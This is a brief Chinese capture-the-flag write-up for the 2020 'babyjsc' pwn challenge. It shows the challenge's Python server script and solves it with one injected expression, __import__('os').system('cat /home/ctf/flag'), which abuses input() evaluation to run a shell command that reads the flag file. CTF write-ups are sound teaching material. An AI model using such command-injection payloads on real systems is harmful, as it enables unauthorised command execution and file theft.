国赛 2020 Pwn babyjsc

看到题目文件 300+M,人都傻掉了。

解压后可以得到这些文件。

image-20200825152153937

一个个地翻,会发现 server.py。以下为它的内容:

import sys
import tempfile
import os

size = int(input())
assert(size < 1024*1024) #1MB max
script = sys.stdin.read(size) # reads one byte at a time, similar to getchar()

temp = tempfile.mktemp()
with open(temp, "w") as f:
    f.write(script)

# os.environ['LD_PRELOAD'] = "./libJavaScriptCore.so.1"
cmd = "LD_PRELOAD=/home/ctf/libJavaScriptCore.so.1 /home/ctf/jsc " + temp
os.system(cmd)

通过题目文件里的记录,又能够知道 flag 在 /home/ctf/ 下。于是输入

__import__('os').system('cat /home/ctf/flag')

即可获得 flag。

2019-2020 @lukbash